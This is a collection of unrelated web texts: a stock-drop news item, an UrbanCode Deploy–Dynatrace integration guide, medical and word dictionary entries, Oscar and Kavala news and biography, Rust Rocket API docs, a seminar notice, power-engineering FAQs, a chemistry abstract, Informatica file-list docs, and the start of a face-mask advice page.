After rising above $54 on Thursday, Infosys has tanked on word of its weak revenue and guidance. The stock has tumbled nearly $10 and rests at a three-month low as of this writing.
Infosys is down over 18 percent on Friday.
(c) 2013 Benzinga.com. Benzinga does not provide investment advice. All rights reserved.
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The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
UrbanCode
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Integrating IBM UrbanCode Deploy with Dynatrace
By Randall Langehennig posted 12 days ago
Integrating IBM UrbanCode Deploy with Dynatrace
Overview
The purpose of this document is to try and show how one could integrate IBM UrbanCode Deploy (UCD) with Dynatrace for improved observability for clients that are using both products today.
You will see in this document that IBM UrbanCode Deploy can send a Dynatrace a “deployment event” at the time of deployment and pass along some meta-data that is useful for the operator to see when correlating events and important metrics in the Dynatrace solution.
There are some nice benefits to consider when integrating the two solutions. These include:
• Visibility of the IBM UrbanCode Deploy pipeline and the deployment executed within Dynatrace.
• Nice traceability in Dynatrace back to IBM UrbanCode Deploy, the build, and more.
• You could automate the installation of new Dynatrace Agents with the IBM UrbanCode Deploy solution.
How to Setup the UCD and Dynatrace Integration
In order to setup this integration, you will need to follow these steps:
1. In Dynatrace, generate an access token for the Dynatrace API. In UCD, we can create a “secure” property with this value.
1. In UrbanCode Deploy, install the “Web Utilities” plugin which can be used to make an HTTP POST request to Dynatrace.
1. Obtain the Dynatrace events URL for your API endpoint. These are examples:
1. Managed - https://{your-domain}/e/{your-environment-id}/api/v1/events/
2. SaaS - https://{your-environment-id}.live.dynatrace.com/api/v1/events/
3. Environment ActiveGate - https://{your-activegate-domain}/e/{your-environment-id}/api/v1/events
1. In your UCD component process for deployment, add a step to the process by following these directions:
1. In the process visual design view, drag and drop the “Send HTTP Call” step (found under Web Utilities) into your process.
2. Name the process “Send Dynatrace a Deployment Event”
3. Click the pencil icon for the step
4. In the URL property, add the URL to your Dynatrace API endpoint (see step 2 above)
5. For the HTTP Method pulldown, select “POST”
6. In the Headers, field, add the following:
• accept: application/json
content-type: application/json
Authorization: apiToken ${p:dynatrace_apiToken}
7. In the Data / Data File field, add the following:
• {
"eventType": "CUSTOM_DEPLOYMENT",
"attachRules": {
"tagRule": {
"meTypes": "PROCESS_GROUP_INSTANCE",
"tags": "${p:environment.name}"
}
},
"deploymentName": "${p:applicationProcess.name}",
"deploymentVersion": "${p:componentVersion.name}",
"deploymentProject": "${p:application.name}",
"remediationAction": "Deploy the previous component version",
"ciBackLink": "${p:server.url}/#applicationProcessRequest/${p:request.id}”,
"source": "IBM UrbanCode Deploy",
"customProperties": {
"Component Name”: “${p:component.name},
“Component Version Number": "${p:componentVersion.name}"
}
}
NOTE: for the custom properties, you can add a build number, git commit hash, or other custom data that would be relevant.
8. Leave the other fields with the default values. Scroll down and click the OK button.
9. Save your UCD component process by clicking the Save button.
Example from IBM UrbanCode Deploy
Here are some screen shots from my IBM UrbanCode Deploy instance. I created a component named “Dynatrace-Example” and created a process as shown below:
Notice that I used the “Send HTTP Call” step and dragged it over into my visual design.
Here you can see the step details:
The “Headers” information must be set as we detailed above. Here is my example:
Finally, the “Data / Data File” field should also be set. Here is my example:
What you see in the Dynatrace Console
When you send the deployment event to Dynatrace as shown above, you will see something like this:
In the example above, you can see a custom deployment event with user-defined key-value properties. This is helpful for IBM UrbanCode Deploy to report important context information to the operator using Dynatrace.
Reference Material
Please refer to these Dynatrace documentation links that provide further details.
Permalink | ESSENTIALAI-STEM |
Rubinstein-Taybi syndrome
Also found in: Acronyms, Wikipedia.
Ru·bin·stein-Tay·bi syn·drome
(rū'bĭn-stīn tā'bē),
mental retardation, broad thumb and great toe, antimongoloid slant to the eyes, thin and beaked nose, microcephaly, prominent forehead, low-set ears, high arched palate, and cardiac anomaly; a submicroscopic chromosomal defect may be causative, but evidence suggests that this syndrome is due to mutation in the gene encoding transcriptional coactivator CREB-binding protein on chromosome 16p.
Rubinstein-Taybi syndrome
[ro̅o̅′binstīn tā′bē]
Etymology: Jack Herbert Rubinstein, American pediatrician, 1925-2006; Hooshang Taybi, American radiologist, 1919-2006
a congenital condition characterized by mental and motor retardation; broad thumbs and great toes; short stature; characteristic facies, including high-arched palate and straight or beaked nose; various eye abnormalities; pulmonary stenosis; keloid formation in surgical scars; large foramen magnum; and abnormalities of the vertebrae and sternum.
CREBBP
A gene on chromosome 16p13.3 that encodes a ubiquitously expressed protein involved in the transcriptional coactivation of various transcription factors. CREBBP acts as a scaffold to stabilise additional protein interactions with the transcription complex; it has intrinsic histone acetyltransferase activity, and acetylates both histone and non-histone proteins.
Molecular pathology
CREBBP mutations cause Rubinstein-Taybi syndrome (RTS); chromosomal translocations of CREBBP are associated with acute myeloid leukaemia.
Rubinstein,
Jack Herbert, U.S. child psychiatrist and pediatrician, 1925–.
Rubinstein-Taybi syndrome - mental retardation, facial deformities, and cardiac anomaly.
Taybi,
Hooshang, U.S. pediatrician and radiologist, 1919–.
Rubinstein-Taybi syndrome - see under Rubinstein
Taybi syndrome
References in periodicals archive ?
Talon cusp is not an integrated part of any specific syndrome, but appears to be more prevalent in the permanent dentition in patients with Rubinstein-Taybi syndrome (broad thumb-hallux syndrome), Mohr syndrome (oral-facial-digital syndrome, type 2), Sturge-Weber syndrome (encephalotrigeminal angiomatosis), and incontinentia pigmenti achromians.
Though the Wellington High School student understands more than he can verbalize due to the effects of Rubinstein-Taybi syndrome, a congenital, neurological condition that affects his motor coordination and his ability to speak and process language.
Their elder son Liam suffers from Rubinstein-Taybi syndrome, a rare condition which affects just three babies in every million. | ESSENTIALAI-STEM |
Oscar host Kimmel mines Hollywood sexual misconduct scandal for laughs
LOS ANGELES, March 4 (Reuters) - Comedian Jimmy Kimmel launched his return stint as Oscar host on Sunday by immediately confronting this year’s elephant in the room - the campaign against sexual misconduct and anger at gender inequality roiling Hollywood in recent months.
In his opening monologue, Kimmel employed a sight gag centered on the larger-than-life but anatomically simplified Oscar statue standing on stage for the 90th anniversary presentation of the Academy Awards to make a point.
“Oscar is the most beloved and respected man in Hollywood, and there’s a very good reason why,” Kimmel said.“Just look at him - keeps his hands where you can seem them, never says a rude word and, importantly, no penis at all.”
Then, with a bit of wordplay that drew more uproarious laughter from the star-studded audience in the Dolby Theatre, Kimmel added:“He is literally a statue of limitations. And that’s the kind of man we need more of in this town.”
The joke helped break the tension looming over the awards show from this year’s backlash against a long-cloaked culture of sexual predation in show business.
Kimmel also did not hesitate in calling out onetime Hollywood titan Harvey Weinstein, who was expelled from the Academy of Motion Picture Arts and Sciences after more than 70 women came forward to accuse him of sexual misconduct, including rape.
Weinstein has denied ever having nonconsensual sex with anyone.
“There were a lot of great nominees, but Harvey deserved it the most,” Kimmel said of the expulsion, adding that the only other academy member thrown out of the organization was an obscure character actor punished for sharing confidential movie“screener” videos that ended up on the internet.
“The world is watching us. We need to set an example,” Kimmel said, dryly adding:“If we are successful — if we can work together to stop sexual harassment in the workplace, if we can do that, women will only have to deal with harassment all the time, every other place they go.”
Working in a reference to one of the year’s best-picture nominees,“The Shape of Water” - a romantic fantasy about a cleaning woman who falls in love with a marine creature - Kimmel declared 2017 would be remembered“as the year men screwed up so badly that women started dating fish.” (Reporting by Steve Gorman; Editing by Peter Henderson and Jonathan Oatis) | NEWS-MULTISOURCE |
patlaban
Etymology
An old compound, from, where pat is one of the parallel forms of , here apparently with the meaning “exact(ly),” “direct(ly),” “outright,” “immediate(ly),” and laban is perhaps an old accusative form of. The meaning would have evolved from an accusative of time, “at the exact good (moment),” to “right now.”
Adverb
* 1) now, currently at the current moment | WIKI |
Struct rocket::fairing::AdHoc
source ·
pub struct AdHoc { /* private fields */ }
Expand description
A ad-hoc fairing that can be created from a function or closure.
This enum can be used to create a fairing from a simple function or closure without creating a new structure or implementing Fairing directly.
§Usage
Use the on_attach, on_launch, on_request, or on_response constructors to create an AdHoc structure from a function or closure. Then, simply attach the structure to the Rocket instance.
§Example
The following snippet creates a Rocket instance with two ad-hoc fairings. The first, a launch fairing named “Launch Printer”, simply prints a message indicating that the application is about to the launch. The second named “Put Rewriter”, a request fairing, rewrites the method of all requests to be PUT.
use rocket::fairing::AdHoc;
use rocket::http::Method;
rocket::ignite()
.attach(AdHoc::on_launch("Launch Printer", |_| {
println!("Rocket is about to launch! Exciting! Here we go...");
}))
.attach(AdHoc::on_request("Put Rewriter", |req, _| {
req.set_method(Method::Put);
}));
Implementations§
source§
impl AdHoc
source
pub fn on_attach<F>(name: &'static str, f: F) -> AdHoc
where F: FnOnce(Rocket) -> Result<Rocket, Rocket> + Send + 'static,
Constructs an AdHoc attach fairing named name. The function f will be called by Rocket when this fairing is attached.
§Example
use rocket::fairing::AdHoc;
// The no-op attach fairing.
let fairing = AdHoc::on_attach("No-Op", |rocket| Ok(rocket));
source
pub fn on_launch<F>(name: &'static str, f: F) -> AdHoc
where F: FnOnce(&Rocket) + Send + 'static,
Constructs an AdHoc launch fairing named name. The function f will be called by Rocket just prior to launching.
§Example
use rocket::fairing::AdHoc;
// A fairing that prints a message just before launching.
let fairing = AdHoc::on_launch("Launch Count", |rocket| {
println!("Launching in T-3..2..1..");
});
source
pub fn on_request<F>(name: &'static str, f: F) -> AdHoc
where F: Fn(&mut Request<'_>, &Data) + Send + Sync + 'static,
Constructs an AdHoc request fairing named name. The function f will be called by Rocket when a new request is received.
§Example
use rocket::fairing::AdHoc;
// The no-op request fairing.
let fairing = AdHoc::on_request("Dummy", |req, data| {
// do something with the request and data...
});
source
pub fn on_response<F>(name: &'static str, f: F) -> AdHoc
where F: Fn(&Request<'_>, &mut Response<'_>) + Send + Sync + 'static,
Constructs an AdHoc response fairing named name. The function f will be called by Rocket when a response is ready to be sent.
§Example
use rocket::fairing::AdHoc;
// The no-op response fairing.
let fairing = AdHoc::on_response("Dummy", |req, resp| {
// do something with the request and pending response...
});
Trait Implementations§
source§
impl Fairing for AdHoc
source§
fn info(&self) -> Info
Returns an Info structure containing the name and Kind of this fairing. The name can be any arbitrary string. Kind must be an ord set of Kind variants. Read more
source§
fn on_attach(&self, rocket: Rocket) -> Result<Rocket, Rocket>
The attach callback. Returns Ok if launch should proceed and Err if launch should be aborted. Read more
source§
fn on_launch(&self, rocket: &Rocket)
The launch callback. Read more
source§
fn on_request(&self, request: &mut Request<'_>, data: &Data)
The request callback. Read more
source§
fn on_response(&self, request: &Request<'_>, response: &mut Response<'_>)
The response callback. Read more
Auto Trait Implementations§
§
impl !Freeze for AdHoc
§
impl !RefUnwindSafe for AdHoc
§
impl Send for AdHoc
§
impl Sync for AdHoc
§
impl Unpin for AdHoc
§
impl !UnwindSafe for AdHoc
Blanket Implementations§
source§
impl<T> Any for T
where T: 'static + ?Sized,
source§
fn type_id(&self) -> TypeId
Gets the TypeId of self. Read more
source§
impl<T, I> AsResult<T, I> for T
where I: Input,
source§
fn as_result(self) -> Result<T, ParseErr<I>>
source§
impl<T> Borrow<T> for T
where T: ?Sized,
source§
fn borrow(&self) -> &T
Immutably borrows from an owned value. Read more
source§
impl<T> BorrowMut<T> for T
where T: ?Sized,
source§
fn borrow_mut(&mut self) -> &mut T
Mutably borrows from an owned value. Read more
source§
impl<T> From<T> for T
source§
fn from(t: T) -> T
Returns the argument unchanged.
source§
impl<T, U> Into<U> for T
where U: From<T>,
source§
fn into(self) -> U
Calls U::from(self).
That is, this conversion is whatever the implementation of From<T> for U chooses to do.
§
impl<T> IntoCollection<T> for T
§
fn into_collection<A>(self) -> SmallVec<A>
where A: Array<Item = T>,
Converts self into a collection.
§
fn mapped<U, F, A>(self, f: F) -> SmallVec<A>
where F: FnMut(T) -> U, A: Array<Item = U>,
source§
impl<T> Same for T
§
type Output = T
Should always be Self
source§
impl<T, U> TryFrom<U> for T
where U: Into<T>,
§
type Error = Infallible
The type returned in the event of a conversion error.
source§
fn try_from(value: U) -> Result<T, <T as TryFrom<U>>::Error>
Performs the conversion.
source§
impl<T, U> TryInto<U> for T
where U: TryFrom<T>,
§
type Error = <U as TryFrom<T>>::Error
The type returned in the event of a conversion error.
source§
fn try_into(self) -> Result<U, <U as TryFrom<T>>::Error>
Performs the conversion.
source§
impl<T> Typeable for T
where T: Any,
source§
fn get_type(&self) -> TypeId
Get the TypeId of this object.
source§
impl<V, T> VZip<V> for T
where V: MultiLane<T>,
source§
fn vzip(self) -> V | ESSENTIALAI-STEM |
Talk:abstrateza
RFV discussion: October 2022–February 2023
Looks to be extremely rare, potentially non-standard, if it exists. Normal word is abstratidade. Benwing2 (talk) 05:56, 30 October 2022 (UTC)
* RFV failed. Ultimateria (talk) 17:49, 28 February 2023 (UTC) | WIKI |
[PAST EVENT] Physics Seminar - Kimmy Cushman
February 13, 2020
3:30pm - 4:30pm
Location
Small Hall, Room 122
300 Ukrop Way
Williamsburg, VA 23185Map this location
Access & Features
• Open to the public
Speaker: Kimmy Cushman, Yale University , Title: “Replacing Markov Chain Monte Carlo with Generative Flow Neural Networks”
Abstract:
Quantum chromodynamics and other strongly coupled gauge theories are only solvable numerically, and the current state-of-the-art methods are variants of Markov Chain Monte Carlo (MCMC) integration over particle fields defined on a discretized spacetime lattice. Properly sampling from the underlying distribution of lattice configurations is essential to computing correct observables, but traditional MCMC computational limitations place severe constraints on the resolution of simulations which can be performed. In this talk, I will discuss progress made toward replacing Markov chain Monte Carlo approaches with generative flow neural networks for the generation of gauge configurations. I will explain the benefits of using this architecture of neural network, and show our progress in implementing a one-dimensional spin theory. In this toy model, we implement a novel approach to confirming the physical accuracy of the ensembles by using a renormalization group Monte Carlo method to verify that the configurations are in the same universality class as those produced by MCMC. | ESSENTIALAI-STEM |
DIgSILENT
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How can I simulate a network with unsymmetrical voltages and different phase impedances?
Attached you find an example with 3 unsymmetrical voltage sources. It is required to use 3 symmetrical voltage sources and to connect them to the load busbar using 3 single-conductor cables (phase A…
What do "unsupplied areas" and "isolated areas" mean?
An "isolated area" is a node or a group of nodes which are connected to each other. Each isolated area is assigned to an index (Parameter Name b:ipat) and needs a load-flow reference (slack) of its…
How is the external grid modelled for RMS simulation?
It is modelled as a voltage source with an internal impedance. The mechanical equations are equivalent as those for the synchronous machine. The Acceleration Time Constant (in s) represents the…
How can I colour the text printed with DPL in the output window?
Strings are coloured using the following character sequence ∖cx, where "∖c" defines that the string should be coloured and "x" defines the colour to use. The list of available colours and an example…
Tags
How can I see the actual value of a parameter using DPL script?
Normally, when you access a variable in PowerFactory, the result of the DPL query is the value as entered in the element dialogue, e.g. oLoad:plini (the active power of a load). To access the actual…
How can I execute a calculation command in all the study cases?
Find attached a DPL (DIgSILENT Programming Language) script that performs the following tasks: Activation of the study cases, one by one. Search and execution of the command in the calculation case…
Can you provide an overview list showing all PowerFactory functions?
An overview of all PowerFactory functions is given in the PowerFactory brochure. The brochure also gives information about which functions are included in the base package and which functions require…
How can I export WMF files using DPL?
The attached example export all the VI (virtual instrument) pages to a specific folder as WindowsMetaFile (WMF) files. To use the script is necessary to have an active project and an active study…
How can I write a result file using a DPL script?
The attached project includes a DPL script that writes a result file. The result object is defined inside the DPL command. The scaling factor of the loads is changed between 0 and 1, a load flow…
How can I export a result file using a DPL script?
The attached project includes a DPL script that writes a result file and then export it into a comma separated values (csv) file. The result object is defined inside the DPL command. The scaling… | ESSENTIALAI-STEM |
Kavon Frazier
Kavon Frazier (born August 11, 1994) is a former American football safety who played in the National Football League for the Dallas Cowboys, Miami Dolphins and Las Vegas Raiders. He played college football at Central Michigan University.
Early years
Frazier attended Grand Rapids Christian High School, where he practiced football, basketball and track. In football, he was a three-year starter. As a junior, he was named to the all-conference team. He was a two-way player as a senior, registering 66 tackles, 858 rushing yards and 15 touchdowns, while receiving Division 3/4 All-state, Detroit Free Press All-Area and All-conference honors.
In basketball, he helped lead the team to a pair of conference titles and a district title as a senior.
College career
Frazier accepted a football scholarship from Central Michigan University. As a freshman, he appeared in 13 games, collecting 36 tackles, 3 passes defensed, one interception and one forced fumble. He had 11 tackless and one pass defensed against Navy.
As a sophomore, he appeared in 12 games (9 starts), registering 67 tackles (fourth on the team), 3 interceptions (tied for the team lead) and 5 passes defensed (tied for the team lead). He had 11 tackles (7 solos) against the University of Toledo.
As a junior, he appeared in 13 games (3 starts), posting 58 tackles (fourth on the team), 34 solo tackles, 4 passes defensed and one fumble recovery.
As a senior, he was the regular starter at strong safety, recording 108 tackles (led the team), 74 solo tackles (led the team), 4.5 tackles for a loss, 4 passes defensed, one interception and one blocked punt. He had 13 tackles against Oklahoma State University. He made 12 tackles against the University of Toledo. He is a member of Phi Beta Sigma fraternity.
Dallas Cowboys
Frazier was selected by the Dallas Cowboys in the sixth round (212th overall) of the 2016 NFL Draft. As a rookie he played mainly on special teams and was declared inactive in 4 games. He tallied 2 defensive tackles and 4 special teams tackles.
In 2017, he finished second on the team with 11 special teams tackles. He began to be used more on the defense, making 32 tackles (2 for loss). He appeared in 15 contests and was declared inactive for the fifth game against the Green Bay Packers.
Prior to 2018 preseason, Frazier was placed on non-football-related injured reserve on July 26 due to him having a potential blood disorder. He was tested negative for haemophilia and other blood clotting disorders on August 3, putting him back on the active roster. He appeared in all 16 games, starting the first two games of the season in place of an injured Xavier Woods. He posted 18 tackles (one for loss), one sack, one quarterback pressure, 2 passes defensed and 8 special teams tackles (fourth on the team).
In 2019, he was the backup at strong safety, collecting 4 defensive tackles and one special teams tackle in the first four games of the season. On September 30, he was placed on the injured reserve with a pectoral injury. He was not re-signed after the season.
Miami Dolphins
On April 27, 2020, Frazier signed with the Miami Dolphins. He appeared in 15 games as a reserve player. He was declared inactive in the fourth game against the Seattle Seahawks. He had 2 tackles on defense and 4 on special teams. He was not re-signed after the season.
Cincinnati Bengals
On May 27, 2021, Frazier signed with the Cincinnati Bengals. He was released on August 22, 2021.
Las Vegas Raiders
On December 2, 2021, Frazier was signed to the practice squad of the Las Vegas Raiders. He appeared in one game. After the Raiders were eliminated in the 2021 Wild Card round of the playoffs, he signed a reserve/future contract on January 17, 2022. He was released on March 8, 2022.
On July 29, 2022, Frazier announced his retirement from professional football. | WIKI |
Osman Kavala
Mehmet Osman Kavala (born 2 October 1957) is a Turkish economist, businessman and political activist who has supported numerous civil society organizations in Turkey since the early 1990s. Kavala is the founder and chair of the board of Anadolu Kültür, an Istanbul-based nonprofit arts and culture organization. In 2019, he received the European Archaeological Heritage Prize from the European Association of Archaeologists for his efforts to protect and preserve significant examples of cultural heritage in danger in Turkey and the Ayşenur Zarakolu Freedom of Thought and Expression Award by Human Rights Association's Istanbul branch. He was arrested because he was accused of links to FETÖ and playing a big role in the Gezi Park protests. His arrests in Turkey caused the European Court of Human Rights and ambassadors from ten Western countries to demand his release. These demands were rejected by Turkish courts and president Erdoğan.
On 25 April 2022, a court sentenced him to life in prison.
In October 2023, Kavala was awarded the Václav Havel Human Rights Prize.
Early life and education
Kavala comes from a family of tobacco traders. His family moved from Northern Greece to Turkey in the 1923 population exchange between Greece and Turkey. Kavala was born in Paris in 1957 He attended Robert College in Istanbul. Kavala studied management at the Middle East Technical University in Ankara and economics at the University of Manchester in the United Kingdom, subsequently enrolling in PhD program at The New School for Social Research in New York City but returning to Istanbul upon his father's death in 1982. After his father's death, he took over the family-owned enterprise Kavala Companies.
Publishing activities
Starting with the early 1980s, Kavala has contributed to the establishment of several publishing companies in Turkey. Following the coup d'état in 1980, in 1983, he co-founded the publishing house İletişim Yayınları. In 1985, he co-founded Ana Publishing with Nazar Büyüm and Selahattin Beyazıt, which published AnaBritannica (the Turkish version of Encyclopædia Britannica), Britannica Compton's, and Temel Britannica. Kavala is currently a member of the board of directors at Aras Publishing.
In the acknowledgements of his 2018 book Talaat Pasha: Father of Modern Turkey, Architect of Genocide, historian Hans-Lukas Kieser states that Kavala's assistance was "critical to my successfully starting the research".
Civil society activities
Since the 1990s, Kavala has contributed to numerous civil society organizations in Turkey. In 1984, he co-founded BILSAK (Science Art Culture Services Society), which promoted discussions around gender and ecology. He contributed to the establishment of several NGOs that started in the 1990s. These include TEMA (Turkish Foundation for Combating Soil Erosion for Reforestation and the Protection of Natural Habitats), Helsinki Citizens' Assembly, and Center for Democracy and Reconciliation in Southeast Europe. He has been part of the board of directors of Turkish Foundation of Cinema and Audio-visual Culture (TÜRSAK), Turkish Economic and Social Studies Foundation (TESEV), Association for the Protection of Cultural Heritage (KMKD), Truth Justice Memory Center, and History Foundation of Turkey. Kavala is also known to be a sponsor of Amnesty International. He actively participated in the development of Spaces of Culture, a project set out to promote and support cultural activities Izmir, Diyarbakır and Gaziantep. The project is initiated by Goethe-Institut, the Consulate General of Sweden in Istanbul, the Embassy of the Netherlands and the Institut francais de Turquie, in cooperation with Anadolu Kültür and Istanbul Foundation for Culture and Arts (IKSV).
Since 2002, he has spent much time working for the charitable foundation Anadolu Kültür, of which he is the founder and current chair. Anadolu Kültür runs cultural centers in underdeveloped regions of Turkey and fosters cultural cooperation with countries in the Caucasus and Balkan regions as well as those in the European Union. The organization supports local, regional, and international collaborations in arts and culture, and promotes for the protection and preservation of cultural heritage. Its vision is to contribute to a pluralist and democratic society. Its initiatives include Diyarbakir Arts Center (2002–ongoing), Kars Arts Center (2005–2009), and Depo in Istanbul—hosting exhibitions, talks, screenings, and workshops.
Kavala was a founding member of the Open Society Foundations in Turkey, an international grantmaking network created by the American-Hungarian billionaire George Soros. In 2018, the Foundation ceased all its activities in Turkey. In a conversation with journalist Şirin Payzın, Kavala said that he "respected Soros" and that "our views overlap on issues such as the proper functioning of legal institutions, the protection and extension of civil rights, the support of civil society organizations and rights defenders, and immigration policies." He added that his "views on egalitarian policies in the social and economic fields are different" and that he has been critical of some of the activities of the Foundation in some countries. President Recep Tayyip Erdogan singled Kavala out for criticism, saying "The connections of the person they call the ‘red Soros of Turkey’ are coming to light", and accused Kavala of being responsible for the Gezi Park protests of 2013, and of the "transfer of significant funds to certain places". In an op-ed published in The New York Times, Kavala states: "It seems I was cast in this narrative because I was a board member of the Open Society Foundation in Turkey and because of my open—though not financial—support of the campaign to protect Gezi Park.
Peace talks between PKK and Turkish Government
In 2013, Prime Minister Recep Tayyip Erdoğan initiated the peace talks to end armed conflict between Turkey and the PKK. As part of the peace process, members of BDP went to İmralı island to convey messages between both parties (Erdogan and Abdullah Öcalan). Daily Milliyet got hold of the minutes of the meeting (İmralı Zabıtları) and published a story about it. In these minutes, the name of Kavala came up. According to the minutes published by Milliyet, the following line was uttered by BDP's Sırrı Süreyya Önder: "Sir [Öcalan], we have discussed everything. There is also the issue of presidency. It is a delicate matter among the public. Osman Kavala sends his regards to you. They are worried that that the presidential system will change into a totalitarian system." The power and involvement of Kavala as a third party in this decades-long conflict between the state and PKK was met with suspicion by some commentators.
Arrest and court case
On 18 October 2017 Osman Kavala was detained at the Istanbul Atatürk Airport after his visit to Gaziantep for a joint project with Goethe Institute. On 25 October 2017, the newspaper Daily Sabah, close to the Erdoğan government, accused him of being a "business tycoon with a shady background" and having contacts with the "Gülenist Terror Group" (FETÖ).
On 1 November 2017, he was arrested on both Article 309 and Article 312 of the Turkish Penal Code. Article 309 ("attempts to abolish, replace or prevent the implementation of, through force and violence, the constitutional order of the republic of Turkey" ) was related to an investigation on the 2016 Turkish coup d'état attempt, and Article 312 ("the use of force and violence, to abolish the government of the Republic of Turkey or to prevent it, in part or in full, from fulfilling its duties" ) was related to an investigation on Gezi Park protests.
Related to Article 312 or the Gezi Park Trial as it is referred to in the press, a criminal indictment seeking life imprisonment for Kavala and 15 other people, including journalist Can Dündar and actor Memet Ali Alabora, was accepted on 4 March 2019 by the Istanbul 30th Heavy Penal Court. The indictment accuses the defendants of forming the mastermind behind the scenes of the Gezi Park protests, which is characterized as an "attempt to overthrow the government through violence" in this document. The indictment also alleges that philanthropist George Soros was behind the conspiracy. The trial was to begin on the 24 June 2019. The verdict in the so-called Gezi Trial was only delivered on the 18 February 2020, when Kavala was acquitted.
On 18 February 2020, hours after his acquittal on Article 312, the chief prosecutor of Istanbul demanded the continued detention of Kavala due to Article 309, although Istanbul prosecutor's office had ordered him released on a pre-trial release judgment on Article 309 on 11 October 2019. On 19 February 2020, he was arrested once again for Article 309. He was acquitted from Article 309 on 20 March 2020.
On 9 March 2020, Kavala was arrested on Article 328 ("securing information that, due to its nature, must be kept confidential for reasons relating to the security or domestic or foreign political interests of the State, for the purpose of political or military espionage"). This arrest happened only one day before the ruling of the European Court of Human Rights about Kavala's pretrial detention demanding his release became final on 10 March.
Osman Kavala has been in Silivri Prison since 1 November 2017. After the court ruling on 20 March he has been arrested 3 times, and acquitted 2 times from the same crime related to Article 309.
International reaction
French politician Daniel Cohn-Bendit, in a public letter to Osman Kavala on 29 March 2018, wrote, "I try to understand the reason behind your arrest, but I cannot apprehend it. (...) It is difficult to conceive the reason behind it. (...) I am convinced that democracy will triumph, and we will soon be able to toast to our common future by the Bosporus. I am waiting for you in Frankfurt".
European Court of Human Rights about Kavala's pretrial detention became final on 10 March. This ruling stated that there was no sufficient evidence to support the accusations against Kavala and that "the prosecution’s attitude could be considered such as to confirm the applicant’s assertion that the measures taken against him pursued an ulterior purpose, namely to reduce him to silence as an NGO activist and human-rights defender, to dissuade other persons from engaging in such activities and to paralyse civil society in the country." It also requested that the Turkish Government "take every measure to put an end to the applicant’s detention and to secure his immediate release."
Human Rights Watch Executive Director Kenneth Roth stated that "The immediate re-arrest of Osman Kavala in another bogus investigation after his acquittal on trumped-up charges for the Gezi Park protests shows how Turkey’s criminal justice system is politically manipulated, with detention and prosecutions pursued at the political whim of the president."
After the decision released by the Council of Europe Committee of Ministers’ on 3 September 2020, the International Commission of Jurists (ICJ), Human Rights Watch, and the Turkey Human Rights Litigation Support Project demanded that Turkish authorities release Kavala immediately. In September 2021, the Committee of Ministers of the Council of Europe gave Turkey until December 2021 to release Kavala before beginning infringement proceedings against Turkey. On 3 December 2021 Council of Europe (COE) says it will notify Turkey of its intention to launch "infringement proceedings" against the country over its failure to release philanthropist Osman Kavala.
On 23 October 2021, the demand for Kavala's release was supported by ten embassies (Canada, Denmark, Finland, France, Germany, the Netherlands, New Zealand, Norway, Sweden, and United States), whose ambassadors were subsequently declared "persona non grata" in a statement by president Erdoğan. On 25 October, Erdogan backtracked on his initial threats to expel the ten ambassadors, stating that the diplomats had fulfilled their commitment to Article 41 of the Vienna Convention and that they would "be more careful in their statements."
British human rights activist and journalist, William Nicholas Gomes wrote to President Recep Tayyip Erdoğan to immediately and unconditionally release Osman Kavala. William Nicholas Gomes had sent this request via the Turkish Embassy in London, United Kingdom.
Personal life
Kavala married Ayşe Buğra in 1988. Buğra is professor of political economy at the Ataturk Institute of Modern Turkish History of Boğaziçi University in Istanbul. | WIKI |
American Chemical Society
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A Comparative Study of Redox-Active Dithiafulvenyl-Functionalized 1,3,6,8-Tetraphenylpyrene Derivatives
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journal contribution
posted on 2021-09-07, 15:12 authored by Farshid Shahrokhi, Maryam F. Abdollahi, Yuming Zhao
A series of 1,3,6,8-tetraphenylpyrene (TPPy) derivatives substituted with redox-active 1,4-dithiafulvenyl (DTF) groups was synthesized and characterized. The conformational properties of these DTF-TPPys and their TPPy precursors were assessed by X-ray single-crystal and nuclear magnetic resonance analyses. Their electronic and redox properties were examined by ultraviolet–visible absorption, fluorescence, and cyclic voltammetric analyses. The DTF substitution was found to strongly modify the absorption, emission, and electrochemical properties, while detailed effects can be linked to substitution patterns and alkyl side chains attached to the DTF groups. Furthermore, the DTF-TPPy derivatives showed sensitivity to acids; in particular, the vinylic proton of DTF group could undergo efficient proton/deuterium exchange with D2O in an acidic medium.
History | ESSENTIALAI-STEM |
Table of Contents
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1. Preface
2. Workflow Manager
3. Workflows and Worklets
4. Sessions
5. Session Configuration Object
6. Tasks
7. Sources
8. Targets
9. Connection Objects
10. Validation
11. Scheduling and Running Workflows
12. Sending Email
13. Workflow Monitor
14. Workflow Monitor Details
15. Session and Workflow Logs
16. Appendix A: Session Properties Reference
17. Appendix B: Workflow Properties Reference
Creating the File List
Creating the File List
The file list contains the names of all the source files you want the Integration Service to use for the source instance in the session. Create the file list in an editor appropriate to the Integration Service platform and save it as a text file. For example, you can create a file list for an Integration Service on Windows with any text editor then save it as ASCII.
The Integration Service interprets the file list using the Integration Service code page. Map the drives on an Integration Service on Windows or mount the drives on an Integration Service on UNIX. The Integration Service skips blank lines and ignores leading blank spaces. Any characters indicating a new line, such as \n in ASCII files, must be valid in the code page of the Integration Service.
Use the following rules and guidelines when you create the file list:
• Each file in the list must use the user-defined code page configured in the source definition.
• Each file in the file list must share the same file properties as configured in the source definition or as entered for the source instance in the session property sheet.
• Enter one file name or one path and file name on a line. If you do not specify a path for a file, the Integration Service assumes the file is in the same directory as the file list.
• Each path must be local to the Integration Service node.
The following example shows a valid file list created for an Integration Service on Windows. Each of the drives listed are mapped on the Integration Service node. The western_trans.dat file is located in the same directory as the file list.
western_trans.dat d:\data\eastern_trans.dat e:\data\midwest_trans.dat f:\data\canada_trans.dat
After you create the file list, place it in a directory local to the Integration Service. | ESSENTIALAI-STEM |
19.10.2020
How to properly wear a face mask when travelling?
As it looks, face masks are here to stay for a while.
According to World Health Organization, masks are an additional step to help slow the spread of COVID-19 when combined with social distancing and other preventive actions. Since it’s still a new thing for most of us, often people feel lost as to what advice should you follow regarding face masks. When in doubts, we recommend you to listen to WHO.
How to properly wear and remove a face mask?
How to care for and select a face mask?
Read on to find out what health specialists have said on this topic.
Young woman wearing a face mask
Why you must wear a mask?
To put it simply - a mask helps limit the spread of germs.
A mask can significantly reduce the number of respiratory droplets released into the air. If everyone wears a mask, risk of spreading the disease is much lower. Wear a face mask if you have respiratory symptoms, such as coughing or sneezing. Wear it if you’re feeling unwell.
The face mask will help protect the people around you from catching your illness (COVID-19 or not).
How to properly wear a face mask?
First of all, wash your hands before putting on your mask.
